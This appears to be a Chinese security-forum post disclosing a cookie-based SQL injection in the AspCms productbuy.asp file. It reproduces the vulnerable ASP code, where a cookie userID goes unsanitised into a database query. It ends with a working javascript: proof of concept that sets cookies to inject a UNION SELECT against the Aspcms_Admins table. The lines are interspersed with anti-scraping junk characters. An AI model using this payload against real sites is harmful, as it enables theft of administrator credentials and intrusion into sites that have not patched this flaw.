好久没上土司了,上来一看发现在删号名单内.....
3 D7 E2 ^& \; Y* {- t也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
1 j7 Y! w3 f. [1 H; D2 Q废话不多说,看代码:' p: _% F o8 f: k# X) a
. T' @( g: c$ ?* ]2 C1 W<%' y1 h# E3 o7 k) A- I
, B- B' U- V: {( T: ^& y
if action = "buy" then
/ D/ J8 G4 `& Q
* U( y Q4 }: _% L3 d addOrder()
2 Y, e; g4 [2 A7 k8 H$ B: Z7 o% |
9 b& a% |5 b8 R# u: j- ^else: i* D6 e0 Q: y9 ]4 J) a& U
& p" N- a3 f3 [2 \) D
echoContent()6 ^# n; ]6 O' R9 l
D% `9 U2 y' w: V, w
end if* z. e5 \6 { u p7 k- {
0 K8 T. L2 l, r" n
0 b, }. U* H& w/ s4 u- R+ n% q3 E* f3 {0 l
……略过: E; E8 u4 _* L' p( _. t! H
7 ?3 e1 u; m$ J/ D/ S3 J4 N/ E8 _; _% a3 k7 s8 {' z$ y2 n& {
$ l; V* ^% h! Y6 ySub echoContent()$ Q1 \% a* i' _
! a6 s* ?( e G7 ~: V, M
dim id
& P- w! V- e% R. i# Y% K B: x! V; j/ e. ~
id=getForm("id","get")8 ?( E- S' j) H/ b9 m7 I! D
, [8 [% h9 b: N+ }% \( N
" D! N; Y- |% R0 h5 S b7 i5 O* U0 H. ?- M0 t+ W0 S) [
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
, t" ~3 y( {, c5 l, S+ r4 E8 k! F+ j/ M/ k y* d
- R8 B! L( u0 m; P5 _" b5 F4 l- P9 q% c$ P6 o) N) y, w
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- _$ l) q/ R- C
6 S6 T- m6 J/ j; Z4 @' M dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct; p O1 l* K5 G: D
- h2 C7 a8 g5 s Dim templatePath,tempStr5 w; d0 P9 P7 z
. W# S# |6 {8 U9 T templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
. ~' Z& `0 n j; k* X9 }, O" |5 K w8 n( H5 w" _2 F% g H' P
9 I7 Q+ S6 D" p% Y8 l4 q& H: A8 d
5 ^( E, Y2 d& t+ D: H9 i: ` set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
3 o- h6 E5 ?& g- L) e' o6 i) Y V- `( V4 y5 n2 x
selectproduct=rsObj(0)
* Q! I$ s0 j% l) Q0 a' b% h- B6 Q4 F6 n9 k
( ?: i, N' ?; j' _
! D) R- V, [' ?8 N3 F Dim linkman,gender,phone,mobile,email,qq,address,postcode
0 J. s( O$ U$ t! F$ a
0 y# P0 t' t/ Y' G4 N4 Z if isnul(rCookie("loginstatus")) then wCookie"loginstatus",04 l5 T6 }2 c8 g ~& A
" f0 r' {4 l8 l$ j1 M# F# d! d+ i9 U
if rCookie("loginstatus")=1 then
; G3 X& ^; o g
# c% S0 J2 o) I4 L set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")1 I/ k! E) J5 Y3 W
P* W" C2 C( G1 ?/ {* H
linkman=rsObj("truename")
% P% U+ n( v; z
8 J+ X+ R+ M: E% q" h gender=rsObj("gender")& T3 f0 O% C8 ^/ Q. H
' j3 _/ k% t; L! \! e
phone=rsObj("phone")
" M1 ^& x+ P* w! w1 q$ q+ j2 L7 {( i4 Z
mobile=rsObj("mobile")
7 v$ W: v5 f' _2 } ~( x2 |# i3 T
email=rsObj("email")" O& V, M0 {; f4 g8 E+ r3 D
( B! o' ^; m# Y qq=rsObj("qq")
2 B3 `) p0 F2 e, F0 Q( Q- G9 b7 `9 r4 s; \6 u/ |/ W; C4 e$ B
address=rsObj("address")( R1 r% P; A- T4 m+ g. _/ R* `. m
5 Y# ]+ E0 `+ L5 R; }/ r- L
postcode=rsObj("postcode"); u! y9 m* }; f+ R8 e6 u
; ]6 N& F' F. @) I5 I3 p _ else 0 A( g1 l( `/ m6 I$ L8 K3 u
' }0 W( N2 R1 U' d, I! m+ F gender=1
# a3 w$ y% @: h4 F7 M& V4 G* F6 \5 C; y; ^" N% d8 S/ S0 k
end if1 G0 r$ [8 x+ s5 } s
! j: l5 W* {0 q3 ^
rsObj.close()- m. O% i& D* a; R* C
: P ]: [) W) |0 u$ e
( K4 m" Y2 T# m+ J& x a' Z' y
* Y! A: ?+ U6 f. N0 W with templateObj ! j& T" w/ g9 \5 o' M/ r s" k
# D9 A( `7 f$ B4 R# ~ R .content=loadFile(templatePath)
/ \4 J3 z Q2 u9 E8 T2 W# g" D
& [7 B" _- J1 j .parseHtml()- Y2 C. I4 T6 j
: K0 i8 u; I1 N! w* p( t( x0 b3 ]6 N .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)+ d% m* [1 r" |( t7 d& ?1 P
; ]$ U* S! p& c( e/ k+ x .content=replaceStr(.content,"[aspcms:linkman]",linkman)
# ]" i7 K; X, m1 [; U$ U: ?% m6 k6 c6 Y- ]
.content=replaceStr(.content,"[aspcms:gender]",gender)
# ?& G5 p6 u$ ~+ F" } @" C
3 M3 ?: B {6 c0 ?" o+ ?/ F5 q% y .content=replaceStr(.content,"[aspcms:phone]",phone) 5 j, G5 l2 |% _5 L# T
|' e' {4 }4 S8 d
.content=replaceStr(.content,"[aspcms:mobile]",mobile) $ K5 J5 d8 ?7 m6 _0 Q- C- B
6 f. l8 Z5 s3 b' [' W7 o
.content=replaceStr(.content,"[aspcms:email]",email) ) [: i; g( K- ^0 ~8 _* z" U
7 m7 v( Y3 c7 g; `- r: m
.content=replaceStr(.content,"[aspcms:qq]",qq) ! K1 c: J9 x. ]5 u7 e) n
5 g0 S; M F( X' u7 q/ c .content=replaceStr(.content,"[aspcms:address]",address)
, K1 G/ x) j3 O. v: Q
0 ?, d6 o3 ^3 e$ J- K- U$ n .content=replaceStr(.content,"[aspcms:postcode]",postcode)
9 B2 X U8 p+ ?" E5 H: I% E3 ]: y
. M2 a3 J) C' p3 { .parseCommon() 1 H2 x/ n6 o4 s) ^6 K8 z( G, {. Q
: `6 d5 F4 p6 {9 A3 G3 d
echo .content
4 @6 R$ z, e2 K
- R; Z) X! @* Z# M end with
5 T# k# ?, }+ p* g+ V0 u9 b" y4 U H3 F2 v n: x
set templateobj =nothing : terminateAllObjects1 \( g- g. t0 h( e
" j0 O! R1 I' F' x
End Sub
1 L- P- ^3 ?2 f9 R9 [6 W( x漏洞很明显,没啥好说的0 l: b& I! q6 x
poc:# Y8 a9 b- Q* U9 A: C. x
% s/ a* q. _7 }* d& ]9 Jjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子- u6 f$ _0 m/ B9 R( j2 [/ V
! K- X; Y" M2 l: U7 e6 u |